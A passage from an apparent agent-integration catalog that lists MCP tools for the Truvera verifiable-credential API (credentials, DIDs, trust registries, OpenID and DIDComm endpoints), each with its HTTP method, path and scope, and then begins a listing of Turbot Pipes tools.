(write, destructive) — Remove Trust Registry participant. Removes a Trust Registry participant DELETE /trust-registries/{registryId}/participants/{participantId} DELETE /api/v1/truvera/trust-registries/{registryId}/participants/{participantId}. Scopes: api. truvera_delete_trust_registries_by_registryid_proof_templates_by_templateid (write, destructive) — Remove Trust Registry proof template. Removes a Trust Registry proof template DELETE /trust-registries/{registryId}/proof-templates/{templateId} DELETE /api/v1/truvera/trust-registries/{registryId}/proof-templates/{templateId}. Scopes: api. truvera_delete_trust_registries_by_registryid_schemas_by_schemaid (write, destructive) — Remove Trust Registry schema. Unassigns a schema from all participants in the trust registry DELETE /trust-registries/{registryId}/schemas/{schemaId} DELETE /api/v1/truvera/trust-registries/{registryId}/schemas/{schemaId}. Scopes: api. truvera_delete_webhooks_by_id (write, destructive) — Deletes a single webhook. DELETE /webhooks/{id} DELETE /api/v1/truvera/webhooks/{id}. Scopes: api. truvera_get_credentials (read) — List Credentials. Get all credential metadata GET /credentials GET /api/v1/truvera/credentials. Scopes: api. truvera_get_credentials_by_id (read) — Get credential metadata and contents if persistent. Get credential metadata and, if persistent, its contents. **Deprecation notice:** retrieving decrypted persisted credential contents by supplying the `password` query parameter is deprecated and should not be used. Refer to the cloud wallet documentation for the recommended approach. When the `password` parameter is used, the response includes a `warning` field and `Deprecation`/`Warning` response headers. Retrieving credential metadata without a password is not deprecated. GET /credentials/{id} GET /api/v1/truvera/credentials/{id}. Scopes: api. truvera_get_credentials_request_claims (read) — List Credentials. Lists all created request claims that are open GET /credentials/request-claims GET /api/v1/truvera/credentials/request-claims. Scopes: api. truvera_get_data_history (read) — Get data history. Gets the call history for your account GET /data/history GET /api/v1/truvera/data/history. Scopes: api. truvera_get_data_limits (read) — Get data limits. Gets the plan limits for your account GET /data/limits GET /api/v1/truvera/data/limits. Scopes: api. truvera_get_data_notifications (read) — List all notifications for your account. GET /data/notifications GET /api/v1/truvera/data/notifications. Scopes: api. truvera_get_data_profile (read) — Gets your user profile. GET /data/profile GET /api/v1/truvera/data/profile. Scopes: api. truvera_get_data_stats (read) — Get data stats. Gets some statistics for your account GET /data/stats GET /api/v1/truvera/data/stats. Scopes: api. truvera_get_data_transactions (read) — Get data transactions. Gets the transactions for your account GET /data/transactions GET /api/v1/truvera/data/transactions. Scopes: api. truvera_get_delegatable_revocations_by_registryid_status_list_credential (read) — Get delegated StatusList2021Credential. Returns a StatusList2021Credential-compatible document for delegated credential revocation checks. GET /delegatable-revocations/{registryId}/status-list-credential GET /api/v1/truvera/delegatable-revocations/{registryId}/status-list-credential. Scopes: api. truvera_get_delegation_rules (read) — List Delegation Rule Sets. Returns delegation rule sets for the authenticated account, optionally filtered by schema id. GET /delegation-rules GET /api/v1/truvera/delegation-rules. Scopes: api. truvera_get_delegation_rules_by_policyid (read) — Get Delegation Rule Set. Returns the latest delegation policy version for a policy id, or a specific timestamped version when createdAt is supplied. GET /delegation-rules/{policyId} GET /api/v1/truvera/delegation-rules/{policyId}. Scopes: api. truvera_get_dids (read) — List DIDs. Return a list of all DIDs that your user account controls as fully resolved DID documents. More info about [Get DID](https://docs.truvera.io/developer-documentation/truvera-api/dids) GET /dids GET /api/v1/truvera/dids. Scopes: api. truvera_get_dids_by_did (read) — Get DID. Returns the complete information about the provided "did" which is provided via parameters text box. More info about [Get DID](https://docs.truvera.io/developer-documentation/truvera-api/dids) GET /dids/{did} GET /api/v1/truvera/dids/{did}. Scopes: api. truvera_get_dids_by_did_ecosystems (read) — Returns ecosystems that this DID is a participant in. GET /dids/{did}/ecosystems GET /api/v1/truvera/dids/{did}/ecosystems. Scopes: api. truvera_get_dids_by_did_metadata (read) — Get DID metadata. Returns the metadata for your DID GET /dids/{did}/metadata GET /api/v1/truvera/dids/{did}/metadata. Scopes: api. truvera_get_jobs_by_id (read) — Get Job Status and data. Returns information related to the job being processed and its associated blockchain transaction. On completion or failure, the job data will be updated with a response from the blockchain. More info about [Job Status](https://docs.truvera.io/developer-documentation/truvera-api/jobs) GET /jobs/{id} GET /api/v1/truvera/jobs/{id}. Scopes: api. truvera_get_keys (read) — List all keys. GET /keys GET /api/v1/truvera/keys. Scopes: api. truvera_get_messaging_messages (read) — List DIDComm messages. Retrieve a list of DIDComm messages for the authenticated user. Messages are returned in reverse chronological order (newest first). GET /messaging/messages GET /api/v1/truvera/messaging/messages. Scopes: api. truvera_get_messaging_messages_by_messageid (read) — Get a specific DIDComm message. Retrieve a specific DIDComm message by its ID. Only messages owned by the authenticated user can be retrieved. GET /messaging/messages/{messageId} GET /api/v1/truvera/messaging/messages/{messageId}. Scopes: api. truvera_get_openid_credential_offers_by_id (read) — Get OpenID credential offer object. Returns the credential offer object for use by an OpenID client GET /openid/credential-offers/{id} GET /api/v1/truvera/openid/credential-offers/{id}. Scopes: api. truvera_get_openid_issuers (read) — List all OpenID issuers. Returns a paginated list of all OpenID issuers available in the system. This can be used to view the existing issuers and their configurations. GET /openid/issuers GET /api/v1/truvera/openid/issuers. Scopes: api. truvera_get_openid_issuers_by_id (read) — Get OpenID issuer. Returns the configuration details of an existing OpenID issuer, identified by its UUID. This can be used to view the issuer's settings and supported features. GET /openid/issuers/{id} GET /api/v1/truvera/openid/issuers/{id}. Scopes: api. truvera_get_openid_issuers_by_id_authorize (read) — OpenID authorize endpoint. Redirects the client to the authorization URL for a specific OpenID issuer. This endpoint begins the authorization flow, allowing users to authenticate with the issuer. GET /openid/issuers/{id}/authorize GET /api/v1/truvera/openid/issuers/{id}/authorize. Scopes: api. truvera_get_openid_issuers_by_id_callback (read) — OpenID callback endpoint. Processes the callback from the OpenID issuer after user authentication. This endpoint finalizes the authorization flow and returns control to the client application. GET /openid/issuers/{id}/callback GET /api/v1/truvera/openid/issuers/{id}/callback. Scopes: api. truvera_get_openid_issuers_by_id_well_known_openid_configuration (read) — OpenID config endpoint. Retrieves the OpenID Connect discovery document for the specified issuer UUID. This document includes important details like supported scopes, endpoints, and token signing methods. GET /openid/issuers/{id}/.well-known/openid-configuration GET /api/v1/truvera/openid/issuers/{id}/.well-known/openid-configuration. Scopes: api. truvera_get_openid_issuers_by_id_well_known_openid_credential_issuer (read) — Public OpenID issuer configuration route. Retrieves the OpenID configuration document for a specified issuer UUID. This document contains the public configuration details necessary for client applications to interact with the issuer. GET /openid/issuers/{id}/.well-known/openid-credential-issuer GET /api/v1/truvera/openid/issuers/{id}/.well-known/openid-credential-issuer. Scopes: api. truvera_get_openid_issuers_by_uuid_well_known_did_configuration (read) — Public issuer DID configuration route. Retrieves the Decentralized Identifier (DID) configuration document for a specified issuer UUID. This configuration is used to establish trust and interoperability with the issuer. GET /openid/issuers/{uuid}/.well-known/did-configuration GET /api/v1/truvera/openid/issuers/{uuid}/.well-known/did-configuration. Scopes: api. truvera_get_openid_vp_by_id_authorize (read) — Redirect to authorize a proof request in OID4VP format. Redirects the client to the authorization URL for a specific OID4VP proof request. This endpoint is used to initiate the proof request authorization flow. GET /openid/vp/{id}/authorize GET /api/v1/truvera/openid/vp/{id}/authorize. Scopes: api. truvera_get_openid_vp_by_id_jwks (read) — Retrieve JWK set for an OID4VP proof request. Returns the JSON Web Key Set (JWKS) associated with a specific OID4VP proof request. This is used to verify signatures within the request object. GET /openid/vp/{id}/jwks GET /api/v1/truvera/openid/vp/{id}/jwks. Scopes: api. truvera_get_openid_vp_by_id_request (read) — Returns the information about the OID4VP request. Returns the proof request object in OID4VP format, which can be used with a request URI for processing verifiable presentations. GET /openid/vp/{id}/request GET /api/v1/truvera/openid/vp/{id}/request. Scopes: api. truvera_get_openid_vp_by_id_well_known_openid_configuration (read) — OID4VP config endpoint. Retrieves the configuration document for a specific proof request UUID. This document is used in OID4VP flows to verify the structure and requirements of the proof request. GET /openid/vp/{id}/.well-known/openid-configuration GET /api/v1/truvera/openid/vp/{id}/.well-known/openid-configuration. Scopes: api. truvera_get_profiles (read) — List all Profiles. GET /profiles GET /api/v1/truvera/profiles. Scopes: api. truvera_get_profiles_by_did (read) — Info for a specific profile by DID. GET /profiles/{did} GET /api/v1/truvera/profiles/{did}. Scopes: api. truvera_get_proof_requests (read) — List all proof requests. GET /proof-requests GET /api/v1/truvera/proof-requests. Scopes: api. truvera_get_proof_requests_by_id (read) — Get proof request. Get the details of an existing proof request GET /proof-requests/{id} GET /api/v1/truvera/proof-requests/{id}. Scopes: api. truvera_get_proof_requests_by_id_pex (read) — Get the proof request PEX definition. GET /proof-requests/{id}/pex GET /api/v1/truvera/proof-requests/{id}/pex. Scopes: api. truvera_get_proof_templates (read) — List all proof templates. GET /proof-templates GET /api/v1/truvera/proof-templates. Scopes: api. truvera_get_proof_templates_by_id (read) — Get proof templates. Get the details of an existing proof templates GET /proof-templates/{id} GET /api/v1/truvera/proof-templates/{id}. Scopes: api. truvera_get_proof_templates_by_id_history (read) — Gets the proof requests from this template. GET /proof-templates/{id}/history GET /api/v1/truvera/proof-templates/{id}/history. Scopes: api. truvera_get_registries (read) — List Registries. Get all registries created by user. More info about [List Registries](https://docs.truvera.io/developer-documentation/truvera-api/registries#list-registries) GET /registries GET /api/v1/truvera/registries. Scopes: api. truvera_get_registries_by_id (read) — Get Registry. Get the details of an existing registry, such as policy, add-only status, when it was last updated, and controller(s). More info about [Get Registry](https://docs.truvera.io/developer-documentation/truvera-api/registries#get-registry) GET /registries/{id} GET /api/v1/truvera/registries/{id}. Scopes: api. truvera_get_revocationstatus_by_regid_by_revid (read) — Get Revocation Status. Get the revocation status of a credential. More info about [Revocation Status](https://docs.truvera.io/developer-documentation/truvera-api/revocation-status) GET /revocationStatus/{regId}/{revId} GET /api/v1/truvera/revocationStatus/{regId}/{revId}. Scopes: api. truvera_get_revocationstatus_by_regid_by_revid_witness (read) — Get Revocation Status Witness. Get the revocation status witness of a BBS+ credential. More info about [Revocation Status](https://docs.truvera.io/developer-documentation/truvera-api/revocation-status) GET /revocationStatus/{regId}/{revId}/witness GET /api/v1/truvera/revocationStatus/{regId}/{revId}/witness. Scopes: api. truvera_get_schemas (read) — List Schemas. Get all schemas created by user. More info about [List Schemas](https://docs.truvera.io/developer-documentation/truvera-api/credential-schemas#list-schemas) GET /schemas GET /api/v1/truvera/schemas. Scopes: api. truvera_get_schemas_by_schemaid (read) — Get Schema. Returns the JSON schema for a specific ID. More info about [Get Schema By ID](https://docs.truvera.io/developer-documentation/truvera-api/credential-schemas#get-schema) GET /schemas/{schemaId} GET /api/v1/truvera/schemas/{schemaId}. Scopes: api. truvera_get_subaccounts (read) — List all Subaccounts. GET /subaccounts GET /api/v1/truvera/subaccounts. Scopes: api. truvera_get_subaccounts_by_id (read) — Info for a specific sub-account by ID. GET /subaccounts/{id} GET /api/v1/truvera/subaccounts/{id}. Scopes: api. truvera_get_subaccounts_by_id_keys (read) — List all subaccount keys. GET /subaccounts/{id}/keys GET /api/v1/truvera/subaccounts/{id}/keys. Scopes: api. truvera_get_subaccounts_by_id_usage (read) — Lists transaction usage for this sub account. GET /subaccounts/{id}/usage GET /api/v1/truvera/subaccounts/{id}/usage. Scopes: api. truvera_get_teams_by_id (read) — Get team data. GET /teams/{id} GET /api/v1/truvera/teams/{id}. Scopes: api. truvera_get_teams_by_id_invitations (read) — List all Team Member Invitations. GET /teams/{id}/invitations GET /api/v1/truvera/teams/{id}/invitations. Scopes: api. truvera_get_teams_by_id_members (read) — List all Team Members. GET /teams/{id}/members GET /api/v1/truvera/teams/{id}/members. Scopes: api. truvera_get_templates (read) — List all templates. GET /templates GET /api/v1/truvera/templates. Scopes: api. truvera_get_templates_by_id (read) — Info for a specific template by DID. GET /templates/{id} GET /api/v1/truvera/templates/{id}. Scopes: api. truvera_get_trust_registries (read) — List Trust Registries. Get all trust registries owned by the user GET /trust-registries GET /api/v1/truvera/trust-registries. Scopes: api. truvera_get_trust_registries_by_registryid (read) — Get Trust Registry. Returns the Trust Registry for a specific ID. GET /trust-registries/{registryId} GET /api/v1/truvera/trust-registries/{registryId}. Scopes: api. truvera_get_trust_registries_by_registryid_participants (read) — Get Trust Registry participants. Returns the Trust Registry participants GET /trust-registries/{registryId}/participants GET /api/v1/truvera/trust-registries/{registryId}/participants. Scopes: api. truvera_get_trust_registries_by_registryid_participants_by_participantid (read) — Get Trust Registry participant. Returns the Trust Registry participant GET /trust-registries/{registryId}/participants/{participantId} GET /api/v1/truvera/trust-registries/{registryId}/participants/{participantId}. Scopes: api. truvera_get_trust_registries_by_registryid_proof_templates (read) — Get Trust Registry proof templates. Returns the Trust Registry proof templates GET /trust-registries/{registryId}/proof-templates GET /api/v1/truvera/trust-registries/{registryId}/proof-templates. Scopes: api. truvera_get_trust_registries_by_registryid_public (read) — Get public information about a trust registry. GET /trust-registries/{registryId}/public GET /api/v1/truvera/trust-registries/{registryId}/public. Scopes: api. truvera_get_trust_registries_by_registryid_reports (read) — Get Trust Registry VPI reports. Returns the Trust Registry VPI reports GET /trust-registries/{registryId}/reports GET /api/v1/truvera/trust-registries/{registryId}/reports. Scopes: api. truvera_get_trust_registries_by_registryid_schemas (read) — Get Trust Registry schemas. Returns the Trust Registry schemas GET /trust-registries/{registryId}/schemas GET /api/v1/truvera/trust-registries/{registryId}/schemas. Scopes: api. truvera_get_trust_registries_by_registryid_verifiers (read) — Gets all verifiers in a trust registry by schema ID. GET /trust-registries/{registryId}/verifiers GET /api/v1/truvera/trust-registries/{registryId}/verifiers. Scopes: api. truvera_get_trust_registries_schema_dids (read) — List all the DIDs belonging to the user that are linked to the requested schemas. Get all dids owned by user for schema IDs GET /trust-registries/schema-dids GET /api/v1/truvera/trust-registries/schema-dids. Scopes: api. truvera_get_trust_registries_schema_prices (read) — List prices for schema IDs. Get all prices for schema IDs GET /trust-registries/schema-prices GET /api/v1/truvera/trust-registries/schema-prices. Scopes: api. truvera_get_webhooks (read) — List all webhooks. GET /webhooks GET /api/v1/truvera/webhooks. Scopes: api. truvera_get_webhooks_by_id (read) — Info for a specific webhook. GET /webhooks/{id} GET /api/v1/truvera/webhooks/{id}. Scopes: api. truvera_get_well_known_oauth_authorization_server_openid_issuers_by_id (read) — OpenID config endpoint. Retrieves the OpenID auth server discovery document for the specified issuer UUID GET /.well-known/oauth-authorization-server/openid/issuers/{id} GET /api/v1/truvera/.well-known/oauth-authorization-server/openid/issuers/{id}. Scopes: api. truvera_patch_data_profile (write) — Updates your user profile metadata. PATCH /data/profile PATCH /api/v1/truvera/data/profile. Scopes: api. truvera_patch_keys_by_publickey (write) — Update a key. PATCH /keys/{publicKey} PATCH /api/v1/truvera/keys/{publicKey}. Scopes: api. truvera_patch_profiles_by_did (write) — Update a Profile. PATCH /profiles/{did} PATCH /api/v1/truvera/profiles/{did}. Scopes: api. truvera_patch_proof_templates_by_id (write) — Update a proof template. PATCH /proof-templates/{id} PATCH /api/v1/truvera/proof-templates/{id}. Scopes: api. truvera_patch_subaccounts_by_id (write) — Update a sub-account. PATCH /subaccounts/{id} PATCH /api/v1/truvera/subaccounts/{id}. Scopes: api. truvera_patch_teams_by_id (write) — Update a Team. PATCH /teams/{id} PATCH /api/v1/truvera/teams/{id}. Scopes: api. truvera_patch_teams_by_id_members_by_user_id (write) — Update a team member. PATCH /teams/{id}/members/{user_id} PATCH /api/v1/truvera/teams/{id}/members/{user_id}. Scopes: api. truvera_patch_templates_by_id (write) — Update a template. PATCH /templates/{id} PATCH /api/v1/truvera/templates/{id}. Scopes: api. truvera_patch_trust_registries_by_registryid (write) — Update a Trust Registry. PATCH /trust-registries/{registryId} PATCH /api/v1/truvera/trust-registries/{registryId}. Scopes: api. truvera_patch_trust_registries_by_registryid_participants_by_participantid (write) — Update a Trust Registry participant. PATCH /trust-registries/{registryId}/participants/{participantId} PATCH /api/v1/truvera/trust-registries/{registryId}/participants/{participantId}. Scopes: api. truvera_patch_trust_registries_by_registryid_participants_by_participantid_info (write) — Update own Trust Registry participant info. PATCH /trust-registries/{registryId}/participants/{participantId}/info PATCH /api/v1/truvera/trust-registries/{registryId}/participants/{participantId}/info. Scopes: api. truvera_patch_webhooks_by_id (write) — Update a Webhook. PATCH /webhooks/{id} PATCH /api/v1/truvera/webhooks/{id}. Scopes: api. truvera_post_credentials (write) — Issue a Credential. Creates and issues a verifiable credential with supplied data. More info about [Issue a Credential](https://docs.truvera.io/developer-documentation/truvera-api/credentials) POST /credentials POST /api/v1/truvera/credentials. Scopes: api. truvera_post_credentials_by_id_revoke (write) — Revoke a credential with a given ID. POST /credentials/{id}/revoke POST /api/v1/truvera/credentials/{id}/revoke. Scopes: api. truvera_post_credentials_by_id_unrevoke (write) — Unrevoke a credential with a given ID. POST /credentials/{id}/unrevoke POST /api/v1/truvera/credentials/{id}/unrevoke. Scopes: api. truvera_post_credentials_request_claims (write) — Issue a Credential after requesting claims from the user. Creates and issues a verifiable credential with supplied data + claims from the user. POST /credentials/request-claims POST /api/v1/truvera/credentials/request-claims. Scopes: api. truvera_post_data_accountdelete (write, destructive) — Create data accountdelete. WARNING - Deletes your entire account! this is a two step process that requires getting a token then re-submitting that token as validation POST /data/accountdelete POST /api/v1/truvera/data/accountdelete. Scopes: api. truvera_post_data_delete (write, destructive) — Create data delete. Deletes all data stored on our servers (credentials, dids, profiles, etc - not authentication/account data). POST /data/delete POST /api/v1/truvera/data/delete. Scopes: api. truvera_post_data_notifications_mark_read (write) — Marks all pending notifications as read. POST /data/notifications/mark-read POST /api/v1/truvera/data/notifications/mark-read. Scopes: api. truvera_post_data_onboarding (write) — Certs internal route, not for typical usage. Submits onboarding information for new accounts. POST /data/onboarding POST /api/v1/truvera/data/onboarding. Scopes: api. truvera_post_delegatable_revocations_by_registryid (write) — Create or update delegatable revocation status. Claims a registry (create) or marks the delegated credential id as revoked or unrevoked. Requires a DID-signed EdDSA bearer JWT whose iss is the controller did:key and whose registryId, action, credentialId and statusListIndex claims match the request. The first authenticated call binds the registry to the caller DID; subsequent calls must be signed by that same DID. POST /delegatable-revocations/{registryId} POST /api/v1/truvera/delegatable-revocations/{registryId}. Scopes: api. truvera_post_delegation_rules (write) — Create Delegation Rule Set. Creates a delegation rule set with a display name and stores its policy document as a timestamped version using policy createdAt. POST /delegation-rules POST /api/v1/truvera/delegation-rules. Scopes: api. truvera_post_dids (write) — Create DID. Creates a new DID on chain with an auto generated keypair, the controller will be the same as the DID unless otherwise specified. More info about [Create DID](https://docs.truvera.io/developer-documentation/truvera-api/dids) POST /dids POST /api/v1/truvera/dids. Scopes: api. truvera_post_dids_by_did_export (write) — Export DID document and keys. Exports the DID document and keys as an encrypted Universal Wallet JSON-LD document POST /dids/{did}/export POST /api/v1/truvera/dids/{did}/export. Scopes: api. truvera_post_dids_import (write) — Import DIDs. Import DIDs from JSON objects ([DIDResolutionResponse](https://www.w3.org/TR/did-resolution/) or [Universal Wallet](https://w3c-ccg.github.io/universal-wallet-interop-spec/) format). Supports both encrypted and plaintext wallet exports. POST /dids/import POST /api/v1/truvera/dids/import. Scopes: api. truvera_post_keys (write) — Create a key. POST /keys POST /api/v1/truvera/keys. Scopes: api. truvera_post_keys_temporary_key (write) — Certs internal route, not for typical usage. Generates a temporary key. POST /keys/temporary-key POST /api/v1/truvera/keys/temporary-key. Scopes: api. truvera_post_messaging_by_did_receive (write) — Receive DIDComm messages for a specific DID. Public endpoint to accept DIDComm messages for a specific DID. This endpoint is unauthenticated and allows external parties to send messages to a DID without requiring authentication. This endpoint accepts DIDComm v2 compliant messages: - For encrypted messages: POST the JWE (JSON Web Encryption) object directly with Content-Type: application/didcomm-encrypted+json - For signed messages: POST the JWS (JSON Web Signature) object directly with Content-Type: application/didcomm-signed+json - For plaintext messages: POST the plaintext DIDComm message object with Content-Type: application/json POST /messaging/{did}/receive POST /api/v1/truvera/messaging/{did}/receive. Scopes: api. truvera_post_messaging_decrypt (write) — Create messaging decrypt. Decrypts a JSON Web Message POST /messaging/decrypt POST /api/v1/truvera/messaging/decrypt. Scopes: api. truvera_post_messaging_encrypt (write) — Create messaging encrypt. Messaging encrypt POST /messaging/encrypt POST /api/v1/truvera/messaging/encrypt. Scopes: api. truvera_post_messaging_send (write) — Create messaging send. Sends a DIDComm message using our relay service and DID service endpoints, it also returns a URL for QR code scanning. Supports encrypted, plaintext and signed DIDComm messages. You can generate an encrypted DIDComm message by calling the /messaging/encrypt route POST /messaging/send POST /api/v1/truvera/messaging/send. Scopes: api. truvera_post_messaging_sign (write) — Create messaging sign. Signs a DIDComm message as a base64 encoded JWT POST /messaging/sign POST /api/v1/truvera/messaging/sign. Scopes: api. truvera_post_messaging_verify (write) — Create messaging verify. Verifies a JWS in its compacted form POST /messaging/verify POST /api/v1/truvera/messaging/verify. Scopes: api. truvera_post_openid_credential (write) — OpenID credential retrieve endpoint. Retrieves a verifiable credential issued by an OpenID issuer. This endpoint is used to obtain the credential in a specified format after the issuance process. POST /openid/credential POST /api/v1/truvera/openid/credential. Scopes: api. truvera_post_openid_credential_offers (write) — Create openid credential offers. Generates and returns a credential offer URI for OpenID4VCI. This endpoint is used to initiate the credential issuance process. POST /openid/credential-offers POST /api/v1/truvera/openid/credential-offers. Scopes: api. truvera_post_openid_issuers (write) — Create a new OpenID issuer. Creates a new OpenID issuer configuration in the system. This endpoint is used to add an issuer that can later be used for credential issuance and authentication. POST /openid/issuers POST /api/v1/truvera/openid/issuers. Scopes: api. truvera_post_openid_issuers_by_id_token (write) — OpenID token endpoint. Handles the exchange of an authorization code for an access token, ID token, and optionally a refresh token. This endpoint is a key part of the OpenID Connect flow. POST /openid/issuers/{id}/token POST /api/v1/truvera/openid/issuers/{id}/token. Scopes: api. truvera_post_openid_vp_by_id (write) — OID4VP callback submit. Handles the submission of a callback for an OID4VP proof request. This endpoint processes the proof and returns the result to the client. POST /openid/vp/{id} POST /api/v1/truvera/openid/vp/{id}. Scopes: api. truvera_post_openid_vp_by_id_request_url (write) — Get proof request in OID4VP deep link or QR code format. Creates and returns a deep link or QR code for an OID4VP proof request, allowing for easy scanning or clicking by users to initiate the proof process. POST /openid/vp/{id}/request-url POST /api/v1/truvera/openid/vp/{id}/request-url. Scopes: api. truvera_post_profiles (write) — Create a Profile. POST /profiles POST /api/v1/truvera/profiles. Scopes: api. truvera_post_proof_requests (write) — Create a new proof request. Create a proof request POST /proof-requests POST /api/v1/truvera/proof-requests. Scopes: api. truvera_post_proof_requests_by_id_send_presentation (write) — Sends presentation to proof request. Sends a presentation to the request POST /proof-requests/{id}/send-presentation POST /api/v1/truvera/proof-requests/{id}/send-presentation. Scopes: api. truvera_post_proof_templates (write) — Create a new proof template. Create a proof template POST /proof-templates POST /api/v1/truvera/proof-templates. Scopes: api. truvera_post_proof_templates_by_id_request (write) — Creates proof request. Creates a proof request from this template POST /proof-templates/{id}/request POST /api/v1/truvera/proof-templates/{id}/request. Scopes: api. truvera_post_registries (write) — Create Registry. Create a Revocation registry on the blockchain. More info about [Registry Creation](https://docs.truvera.io/developer-documentation/truvera-api/registries) POST /registries POST /api/v1/truvera/registries. Scopes: api. truvera_post_registries_by_id (write) — Revoke/Unrevoke Credential. Credential revocation is managed with on-chain revocation registries. To revoke a credential, its id (or hash of its id) must be added to the credential. More info about [Revoke/Unrevoke Credentials](https://docs.truvera.io/developer-documentation/truvera-api/registries#revoke-unrevoke-credential) POST /registries/{id} POST /api/v1/truvera/registries/{id}. Scopes: api. truvera_post_schemas (write) — Create Credential Schema. Creates a JSON schema on the blockchain. More info about [Schema Creation](https://docs.truvera.io/developer-documentation/truvera-api/credential-schemas#create-schema) POST /schemas POST /api/v1/truvera/schemas. Scopes: api. truvera_post_subaccounts (write) — Create a Sub-account. POST /subaccounts POST /api/v1/truvera/subaccounts. Scopes: api. truvera_post_subaccounts_by_id_keys (write) — Creates an API key for a subaccount. POST /subaccounts/{id}/keys POST /api/v1/truvera/subaccounts/{id}/keys. Scopes: api. truvera_post_teams_accept_member_invite (write) — Accept invitation to be a team member. POST /teams/accept-member-invite POST /api/v1/truvera/teams/accept-member-invite. Scopes: api. truvera_post_teams_by_id_invitations_by_invitation_id_cancel (write) — Cancel the current invitation. POST /teams/{id}/invitations/{invitation_id}/cancel POST /api/v1/truvera/teams/{id}/invitations/{invitation_id}/cancel. Scopes: api. truvera_post_teams_by_id_invitations_by_invitation_id_resend (write) — Resend the invitation email. POST /teams/{id}/invitations/{invitation_id}/resend POST /api/v1/truvera/teams/{id}/invitations/{invitation_id}/resend. Scopes: api. truvera_post_teams_by_id_invite (write) — Send email invitations to a list of emails. POST /teams/{id}/invite POST /api/v1/truvera/teams/{id}/invite. Scopes: api. truvera_post_templates (write) — Create a template. POST /templates POST /api/v1/truvera/templates. Scopes: api. truvera_post_trust_registries (write) — Create Trust Registry. Creates a new trust registry. You must be on a Custom plan to do this. POST /trust-registries POST /api/v1/truvera/trust-registries. Scopes: api. truvera_post_trust_registries_by_registryid_participants (write) — Invites a Trust Registry participant. POST /trust-registries/{registryId}/participants POST /api/v1/truvera/trust-registries/{registryId}/participants. Scopes: api. truvera_post_trust_registries_by_registryid_proof_templates (write) — Assigns a proof template to a trust registry. POST /trust-registries/{registryId}/proof-templates POST /api/v1/truvera/trust-registries/{registryId}/proof-templates. Scopes: api. truvera_post_trust_registries_by_registryid_schemas_by_schemaid_price (write) — Creates or updates a price for a schema ID with given currency and digits on a per issuer basis. POST /trust-registries/{registryId}/schemas/{schemaId}/price POST /api/v1/truvera/trust-registries/{registryId}/schemas/{schemaId}/price. Scopes: api. truvera_post_trust_registries_invitations_accept (write) — Accepts an invite to an ecosystem. POST /trust-registries/invitations/accept POST /api/v1/truvera/trust-registries/invitations/accept. Scopes: api. truvera_post_trust_registries_invitations_decline (write) — Decline the invitation of joining a trust registry. POST /trust-registries/invitations/decline POST /api/v1/truvera/trust-registries/invitations/decline. Scopes: api. truvera_post_trust_registries_invitations_snooze (write) — Snooze the invitation of joining a trust registry. POST /trust-registries/invitations/snooze POST /api/v1/truvera/trust-registries/invitations/snooze. Scopes: api. truvera_post_trust_registries_query (write) — Query all trust registries. POST /trust-registries/query POST /api/v1/truvera/trust-registries/query. Scopes: api. truvera_post_verify (write) — Verify a credential or presentation. Verifies a VCDM credential or presentation as JSON or JWT string. More info about [Verify Credentials/Presentations](https://docs.truvera.io/developer-documentation/truvera-api/presentations) POST /verify POST /api/v1/truvera/verify. Scopes: api. truvera_post_webhooks (write) — Create a Webhook. POST /webhooks POST /api/v1/truvera/webhooks. Scopes: api. ================================================================================ ## Turbot Pipes URL: https://www.agenticfabriq.com/integrations/turbotpipes Section: Integrated Tools Turbot Pipes — 530 MCP tools Provider key: turbotpipes. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. turbotpipes_delete_ai_key_by_provider (write, destructive) — Delete tenant AI key via DELETE /ai/key/{provider}. Deletes an existing AI provider API key at the tenant level. DELETE /api/v1/turbotpipes/ai/key/{provider}. Scopes: api. turbotpipes_delete_connection_by_connection_handle (write, destructive) — Delete tenant connection via DELETE /connection/{connection_handle}. Deletes a connection defined at the tenant level. DELETE /api/v1/turbotpipes/connection/{connection_handle}. Scopes: api. turbotpipes_delete_connection_by_connection_handle_permission_by_permission_id (write, destructive) — Delete tenant connection permission via DELETE /connection/{connection_handle}/permission/{permission_id}. Delete permission for a connection defined on a custom tenant. DELETE /api/v1/turbotpipes/connection/{connection_handle}/permission/{permission_id}. Scopes: api. turbotpipes_delete_connection_folder_by_folder_id (write, destructive) — Delete tenant connection folder via DELETE /connection_folder/{folder_id}. Deletes a connection folder defined at the tenant level. DELETE /api/v1/turbotpipes/connection_folder/{folder_id}. Scopes: api. turbotpipes_delete_connection_folder_by_folder_id_permission_by_permission_id (write, destructive) — Delete tenant connection folder permission via DELETE /connection_folder/{folder_id}/permission/{permission_id}. Delete permission for a connection folder defined on a custom tenant. DELETE /api/v1/turbotpipes/connection_folder/{folder_id}/permission/{permission_id}. Scopes: api. turbotpipes_delete_integration_by_integration_handle (write, destructive) — Delete tenant integration via DELETE /integration/{integration_handle}. Delete an integration configured on a custom tenant. DELETE /api/v1/turbotpipes/integration/{integration_handle}. Scopes: api. turbotpipes_delete_log_archive_by_log_archive_identifier (write, destructive) — Delete tenant log archive via DELETE /log_archive/{log_archive_identifier}. Delete a log archive for the tenant DELETE /api/v1/turbotpipes/log_archive/{log_archive_identifier}. Scopes: api. turbotpipes_delete_login_token_by_temporary_token_request_id (write, destructive) — Delete temporary token request via DELETE /login/token/{temporary_token_request_id}. Delete a temporary token request status. DELETE /api/v1/turbotpipes/login/token/{temporary_token_request_id}. Scopes: api. turbotpipes_delete_notifier_by_notifier_name (write, destructive) — Delete tenant notifier via DELETE /notifier/{notifier_name}. Delete a notifier for a custom tenant DELETE /api/v1/turbotpipes/notifier/{notifier_name}. Scopes: api. turbotpipes_delete_org_by_org_handle (write, destructive) — Delete org via DELETE /org/{org_handle}. Deletes the specified organization if you have the appropriate access. DELETE /api/v1/turbotpipes/org/{org_handle}. Scopes: api. turbotpipes_delete_org_by_org_handle_ai_key_by_provider (write, destructive) — Delete org AI key via DELETE /org/{org_handle}/ai/key/{provider}. Deletes an existing AI provider API key at the organization level. DELETE /api/v1/turbotpipes/org/{org_handle}/ai/key/{provider}. Scopes: api. turbotpipes_delete_org_by_org_handle_avatar (write, destructive) — Delete org avatar via DELETE /org/{org_handle}/avatar. Delete custom avatar for an org. DELETE /api/v1/turbotpipes/org/{org_handle}/avatar. Scopes: api. 